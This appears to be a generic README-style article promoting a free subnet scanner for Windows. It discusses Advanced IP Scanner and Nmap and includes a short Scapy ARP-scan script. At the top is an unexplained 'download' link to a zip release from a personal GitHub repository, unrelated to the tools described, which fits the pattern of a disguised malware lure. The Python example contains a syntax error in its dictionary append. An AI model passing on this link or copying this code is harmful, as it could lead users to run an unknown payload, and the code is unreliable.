<a href="https://github.com/jameswright7298/jameswright7298/releases/download/rel/subnet_scan.zip">download</a> # **Free Subnet Scanner for Windows: Find Vulnerabilities and Customize Your Tool** ## **Introduction** Network security is a critical concern for IT professionals, and identifying vulnerabilities within a subnet is a fundamental step in securing an infrastructure. A **subnet scanner** is a powerful tool that helps detect live hosts, open ports, and potential security weaknesses in a network. For Windows users, finding a **free, customizable subnet scanner** that also identifies vulnerabilities can be challenging. This article explores a **free subnet scanner for Windows**, its capabilities, and how you can further develop it to suit your needs. ## **Why Use a Subnet Scanner?** A subnet scanner automates the process of discovering active devices, services, and security gaps within a network. Key benefits include: - **Network Discovery** – Quickly identifies all connected devices. - **Vulnerability Detection** – Scans for outdated services, open ports, and misconfigurations. - **Security Auditing** – Helps in penetration testing and compliance checks. - **Customization** – Open-source tools allow modifications for specific needs. ## **Top Free Subnet Scanner for Windows** Several free tools can scan subnets and detect vulnerabilities on Windows. One of the most reliable options is **Advanced IP Scanner** by Famatech. ### **Features of Advanced IP Scanner** - **Fast Network Scanning** – Detects all devices in a subnet. - **Port Scanning** – Identifies open ports and running services. - **Remote Access** – Supports RDP and SSH connections. - **Exportable Reports** – Saves scan results in CSV or HTML format. Another powerful open-source alternative is **Nmap (Network Mapper)**, which offers deep vulnerability scanning with scripting capabilities. ### **Using Nmap for Vulnerability Scanning** Nmap is a command-line tool but has a GUI version called **Zenmap** for Windows. Key features: - **Host Discovery** – Finds live hosts in a subnet. - **Service Detection** – Identifies running services and versions. - **Vulnerability Scripting** – Uses NSE (Nmap Scripting Engine) to detect flaws. - **Custom Scans** – Allows advanced filtering and reporting. ## **How to Develop Your Own Subnet Scanner** If you want to **build or modify** a subnet scanner, consider using Python with libraries like: - **Scapy** – For packet manipulation and network scanning. - **Socket** – For port scanning and service detection. - **Nmap-Python** – Integrates Nmap into Python scripts. ### **Example: Simple Subnet Scanner in Python** ```python import scapy.all as scapy def scan_subnet(ip_range): arp_request = scapy.ARP(pdst=ip_range) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast / arp_request answered = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] devices = [] for element in answered: devices.append("ip": element[1].psrc, "mac": element[1].hwsrc) return devices print(scan_subnet("192.168.1.1/24")) ``` This script detects live hosts in a subnet using ARP requests. ## **Conclusion** A **free subnet scanner for Windows** like **Advanced IP Scanner** or **Nmap** can efficiently detect vulnerabilities and improve network security. For developers, building a custom scanner using Python provides flexibility and deeper control. Whether you use an existing tool or develop your own, regular subnet scanning is essential for maintaining a secure network environment. Would you like recommendations for additional tools or deeper scripting examples? Let us know in the comments!

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